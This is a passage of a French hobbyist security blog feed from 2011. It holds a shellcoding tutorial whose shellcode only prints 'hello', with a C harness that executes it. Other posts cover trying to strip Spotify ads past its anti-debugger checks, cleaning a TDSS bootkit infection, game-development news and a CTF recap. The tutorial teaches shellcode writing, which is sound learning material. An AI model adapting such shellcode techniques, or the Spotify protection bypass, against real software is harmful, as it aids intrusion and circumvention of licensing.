/&gt;&lt;blockquote&gt;&lt;b&gt;xtceb@xtceb-VirtualBox:~$ objdump -d helloworld&lt;/b&gt;&lt;br /&gt;&lt;b&gt;helloworld:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file format elf32-i386&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Disassembly of section .text:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;08048054 &amp;lt;main&amp;gt;:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048054:&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 c0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,%eax&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048056:&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 db&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx,%ebx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048058:&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 c9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %ecx,%ecx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;804805a:&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 d2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx,%edx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;804805c:&amp;nbsp;&amp;nbsp;&amp;nbsp; eb 11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; 804806f &amp;lt;message&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;0804805e &amp;lt;fin&amp;gt;:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;804805e:&amp;nbsp;&amp;nbsp;&amp;nbsp; b0 04&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%al&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048060:&amp;nbsp;&amp;nbsp;&amp;nbsp; b3 01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x1,%bl&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048062:&amp;nbsp;&amp;nbsp;&amp;nbsp; 59&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; %ecx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048063:&amp;nbsp;&amp;nbsp;&amp;nbsp; b2 05&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x5,%dl&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048065:&amp;nbsp;&amp;nbsp;&amp;nbsp; cd 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048067:&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 c0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,%eax&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048069:&amp;nbsp;&amp;nbsp;&amp;nbsp; b0 01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x1,%al&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;804806b:&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 db&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx,%ebx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;804806d:&amp;nbsp;&amp;nbsp;&amp;nbsp; cd 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;0804806f &amp;lt;message&amp;gt;:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;804806f:&amp;nbsp;&amp;nbsp;&amp;nbsp; e8 ea ff ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 804805e &amp;lt;fin&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;8048074:&amp;nbsp;&amp;nbsp;&amp;nbsp; 68 65 6c 6c 6f&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; $0x6f6c6c65&lt;/b&gt;&lt;/blockquote&gt;Hop, il nous reste plus qu'à rassembler nos petites instructions machine :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x11\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xea\xff\xff\xff\x68\x65\x6c\x6c\x6f&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;On peut dès à présent le tester pour voir si il marche :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;char shellcode[]="\x31\xc0\x31\xdb\x31\xc9"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; "\x31\xd2\xeb\x11\xb0\x04"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; "\xb3\x01\x59\xb2\x05\xcd"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; "\x80\x31\xc0\xb0\x01\x31"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; "\xdb\xcd\x80\xe8\xea\xff"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; "\xff\xff\x68\x65\x6c\x6c\x6f";&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int (*func)();func = (int (*)()) shellcode;(int)(*func)();&lt;br /&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;xtceb@xtceb-VirtualBox:~$ ./shellcode&lt;br /&gt;&lt;b&gt;hello&lt;/b&gt;xtceb@xtceb-VirtualBox:~$&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-7803188237450723081?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/7803188237450723081/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/07/shellcoding.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7803188237450723081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7803188237450723081'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/07/shellcoding.html' title='Shellcoding'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-7739907931341606319</id><published>2011-07-15T12:49:00.000-07:00</published><updated>2011-07-15T13:42:11.397-07:00</updated><title type='text'>My sweet paranoïd Spotify...</title><content type='html'>Récemment on m'a demandé si c'était possible d'enlever la pub sur Spotify alors forcément j'ai relevé le challenge =)&lt;br /&gt;&lt;br /&gt;Le problème c'est que Spotify c'est vraiment l'archétype d'une application paranoïaque ! Le pire c'est qu'elle se permet de se fermer toute seule au moindre lancement de débogueur ; et attention, je ne parle pas juste d'attacher le processus a olly, juste le lancer sans rien faire d'autre et on se prend une trappe !&lt;br /&gt;&lt;br /&gt;Alors ma curiosité émoustillée je vais gratter un peu plus loin :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-7oisiHdSKJg/TiCVmhCXfKI/AAAAAAAAAFY/Lb0fTaNXQMU/s1600/264288_10150252628448232_630283231_7354940_5268462_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="188" src="http://1.bp.blogspot.com/-7oisiHdSKJg/TiCVmhCXfKI/AAAAAAAAAFY/Lb0fTaNXQMU/s320/264288_10150252628448232_630283231_7354940_5268462_n.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;J'essaie d'ouvrir sous IDA et j'ai pas plus d'indice...Résultat : coincé a la porte d'entrée quoi...&lt;br /&gt;Un peu de recherche sur le net parce-que le reverse c'est pas vraiment ma compétence principale et je tombe sur un truc très interessant&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.steike.com/code/spotify-vs-ollydbg/"&gt;spotify-vs-ollydbg&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"The Macintosh version of Spotify has no anti-debugger protection at all"&lt;br /&gt;&lt;br /&gt;C'est marrant qu'on fasse plus confiance au publique mac qu'à ceux du PC ... Si vous suivez le reste de l'article qui est pas trop mal foutu vous saurez pourquoi je déteste Apple et le reste du monde :D&lt;br /&gt;&lt;br /&gt;Thanks to &lt;b&gt;&lt;span style="color: red;"&gt;Hermance&lt;/span&gt;&lt;/b&gt; =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-7739907931341606319?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/7739907931341606319/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/07/my-sweet-paranoid-spotify.html#comment-form' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7739907931341606319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7739907931341606319'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/07/my-sweet-paranoid-spotify.html' title='My sweet paranoïd Spotify...'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-7oisiHdSKJg/TiCVmhCXfKI/AAAAAAAAAFY/Lb0fTaNXQMU/s72-c/264288_10150252628448232_630283231_7354940_5268462_n.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-584713018752326812</id><published>2011-06-24T08:49:00.000-07:00</published><updated>2011-06-24T08:49:05.662-07:00</updated><title type='text'>Entrée en matière</title><content type='html'>Plop, mes chers lecteurs !&lt;br /&gt;&lt;br /&gt;Je viens de mettre à jour le site promotionnel qui accueillera la première partie du jeu Bugland !&lt;br /&gt;Rien de bien important, juste une petite description énigmatique comme je les aime bien dans un jeu !&lt;br /&gt;&lt;br /&gt;Je vous laisse le plaisir (ou pas) de visiter : &lt;a href="http://www.bugland.tuxfamily.org/"&gt;http://www.bugland.tuxfamily.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-584713018752326812?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/584713018752326812/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/entree-en-matiere.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/584713018752326812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/584713018752326812'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/entree-en-matiere.html' title='Entrée en matière'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6329240607136079733</id><published>2011-06-22T01:27:00.000-07:00</published><updated>2011-06-22T01:27:27.174-07:00</updated><title type='text'>Bugland is back in black</title><content type='html'>Une petite touche musicale dans le titre =)&lt;br /&gt;J'ai décidé de remettre sur pied le développement du jeu vidéo.&lt;br /&gt;&lt;br /&gt;Toujours besoin d'un graphiste et d'un dév pour former un petit studio vite fait ;)&lt;br /&gt;&lt;br /&gt;Le temps me manque toujours mais je pense que ce problème devrait être réglé d'ici peu ! &lt;br /&gt;J'ai décidé que je mettrais en ligne le code source, ainsi que certaines explications techniques pour ceux qui voudraient se lancer dans le jeu vidéo.&lt;br /&gt;C'est de la 2D à l'ancienne, je supporte pas programmer avec les API pour sortir des machins new wave 3d qui prennent un temps fou a faire pour un rendu pas forcément génial...&lt;br /&gt;&lt;br /&gt;Bref ! Le dev reprendra de zéro dans un peu plus d'une semaine !&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;3,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;0xtceb&lt;/b&gt;, &lt;b&gt;président du studio &lt;span style="color: red;"&gt;Calm production&lt;/span&gt;&lt;/b&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6329240607136079733?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6329240607136079733/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/bugland-is-back-in-black.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6329240607136079733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6329240607136079733'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/bugland-is-back-in-black.html' title='Bugland is back in black'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-4992526925146874035</id><published>2011-06-12T18:01:00.000-07:00</published><updated>2011-06-12T18:01:58.896-07:00</updated><title type='text'>0xtceb vs Bootkit BOO/TDSS.m</title><content type='html'>L'épisode commence au moment où mon pc s'éteint brusquement sans prévenir... :s&lt;br /&gt;Moi, patient comme jamais essaie de le rallumer nombres de fois sans succès !&lt;br /&gt;&lt;br /&gt;C'est au bout de la 5eme fois que je commence à me dire que oui, je me suis pris une saloperie de l'espace... Je cherche je cherche pas mal de temps sans trouver avant de m'orienter vers un problème lié au MBR (Master Boot Record) qui a forcément dû être corrompu...&lt;br /&gt;Le MBR amorce la routine qui permet de charger le système d'exploitation et effectivement c'était vraiment plausible vu que je pouvais arriver au menu du bios sans problèmes !&lt;br /&gt;&lt;br /&gt;Donc la théorie c'est que :&lt;br /&gt;&lt;br /&gt;1) Je me suis fait corrompre une partie des 512 bytes qui composent la zone d'amorce&lt;br /&gt;2) Le but du virus à l'origine n'était pas de crasher mon pc mais plus de le patcher&lt;br /&gt;3) Un gros fail du virus qui m'a complètement pourris :'(&lt;br /&gt;&lt;br /&gt;Hop je choppe une ISO d' Hiren's Boot pour auditer le tout et j'en profite pour réécrire le MBR tout pourris par un machin bateau (tout en lançant un petit AV) .&lt;br /&gt;&lt;br /&gt;Résultat :&lt;br /&gt;&lt;br /&gt;1) MBR reconstruit (mais pas la version du constructeur :s )&lt;br /&gt;2) Virus identifié sous le nom de : BOO/TDSS.m&lt;br /&gt;&lt;br /&gt;Je redémarre le PC et... Enfin une erreur ! :p&lt;br /&gt;&lt;br /&gt;/system32/hal.dll introuvable&lt;br /&gt;/system32/winloader.exe introuvable&lt;br /&gt;&lt;br /&gt;J'en profite pour loler un peu ^^ "Un malheur jamais seul n'arrive"&lt;br /&gt;&lt;br /&gt;Évidemment c'est une erreur classique venant d'un boot corrompu (lui aussi)... Et forcément, j'ai pas le cd de réparation sous la main...&lt;br /&gt;Après une bonne journée j'en choppe un et j'entame la réparation du boot qui fini par fonctionner !&lt;br /&gt;&lt;br /&gt;Mes yeux s'ouvrent sur une demande de mot de passe de session :)&lt;br /&gt;je tappe le mdp... Écran d'accueil...Petite musique... ET BAM ! V'la ti pas que j'ai un vieux virus type Rogue AV qui se lance au démarrage !&lt;br /&gt;&lt;br /&gt;Je commence vraiment a péter un câble ^^ alors :&lt;br /&gt;&lt;br /&gt;1) Mode sans Échecs&lt;br /&gt;2) Google ==&amp;gt; MBAM&lt;br /&gt;3) Mise à jour de MBAM : FAIL&lt;br /&gt;4) Reboot sous MiniXP ===&amp;gt; maj de MBAM : OK&lt;br /&gt;5) Mode sans Échecs &amp;amp; Scan avec MBAM&lt;br /&gt;6) 15 infections trouvées ! Toutes désinfectées ;)&lt;br /&gt;&lt;br /&gt;Au final tout remarche comme avant ! Je ne saurais jamais le vrai but du virus original BOO/TDSS.m a part faire planter le PC et faire gagner de l'argents au réparateurs à deux balles qui proposeront un formatage qui ne réglera de toute manière pas le problème (sauf bas niveau)&lt;br /&gt;&lt;br /&gt;Si quelqu'un connait le fonctionnement de cette saloperie je suis preneur !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-4992526925146874035?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/4992526925146874035/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/0xtceb-vs-bootkit-bootdssm.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4992526925146874035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4992526925146874035'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/0xtceb-vs-bootkit-bootdssm.html' title='0xtceb vs Bootkit BOO/TDSS.m'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-4946962458580231121</id><published>2011-06-09T06:20:00.000-07:00</published><updated>2011-06-09T06:21:16.912-07:00</updated><title type='text'>Malware Infected...</title><content type='html'>Plop tout le monde !&lt;br /&gt;Le blog sera bientôt updaté si je puis dire ;)&lt;br /&gt;&lt;br /&gt;Le truc c'est qu'en ce moment je combat une petite saloperie de malware (type bootkit) qui s'est un peu fait les dents sur mon pauvre pc de la mort... Résultat un MBR foutu et un boot tout pourrit...&lt;br /&gt;Le combat a duré des jours, et finalement dans le sang et la sueur j'ai vaincu...&lt;br /&gt;Mais je n'ai pas eu le temps de savourer ma victoire que j'avais déjà commis une terrible erreur..&lt;br /&gt;A peine le bootkit enlevé, je dois maintenant faire face à une foutue rogue AP...&lt;br /&gt;&lt;br /&gt;Ça va durer moins longtemps cette fois-ci ;) je vous tiens au courant !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-4946962458580231121?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/4946962458580231121/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/malware-infected.html#comment-form' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4946962458580231121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4946962458580231121'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/06/malware-infected.html' title='Malware Infected...'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-2028678299515736888</id><published>2011-06-03T08:17:00.000-07:00</published><updated>2011-06-03T08:35:46.688-07:00</updated><title type='text'>ST'Hack (Little) WriteUp</title><content type='html'>Ça va faire maintenant un petit moment que j'étais out, j'ai pas mal de projets en cours et ça me pompe du temps comme c'est pas croyable ! Il faudrait absolument que je trouve une méthode pour éviter de dormir et gagner environs 7h00 de boulots par jours, si quelqu'un à ça sous la main je suis preneur :p&lt;br /&gt;&lt;br /&gt;Bref, je voulais un peu parler du déroulement du CTF de la semaine dernière !&lt;br /&gt;&lt;br /&gt;Très beau cadre l'école d'ingeSup sur Bordeaux est très jolie il faut l'avouer, un des organisateurs du tournois est un membre de nibbles.&lt;br /&gt;&lt;br /&gt;Au menu de bonnes épreuves applicatives comme je les aimes ! Malheureusement je n'ai pu en valider aucune :s on s'est concentré sur les épreuves Web, niveau temps ça et la crypto c'était bien plus jouable.&lt;br /&gt;&lt;br /&gt;On avait jusqu'à 2h00 du matin pour poutrer de la faille ! Alors forcément j'ai fait mon stock de:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-H_1e_7XEXV4/Tej5rOiXlzI/AAAAAAAAAFM/8Sff7phCyMc/s1600/cigarette-anti-feu.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="195" src="http://1.bp.blogspot.com/-H_1e_7XEXV4/Tej5rOiXlzI/AAAAAAAAAFM/8Sff7phCyMc/s200/cigarette-anti-feu.jpg" width="200" /&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-xvJ9lzH1B2c/Tej547AzvTI/AAAAAAAAAFQ/25Zjy-j2ZfE/s1600/cokerange_lowres.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="141" src="http://3.bp.blogspot.com/-xvJ9lzH1B2c/Tej547AzvTI/AAAAAAAAAFQ/25Zjy-j2ZfE/s200/cokerange_lowres.jpg" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-wp8CnLycjQs/Tej6rdQxVZI/AAAAAAAAAFU/EAQhiV-tjoU/s1600/B051_Leffe9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-wp8CnLycjQs/Tej6rdQxVZI/AAAAAAAAAFU/EAQhiV-tjoU/s200/B051_Leffe9.jpg" width="130" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Comme vous pouvez le voir, il me faut quand même un petit peu de carburant&lt;br /&gt;&amp;nbsp;sinon je ne fonctionne pas à 100% !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-2028678299515736888?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 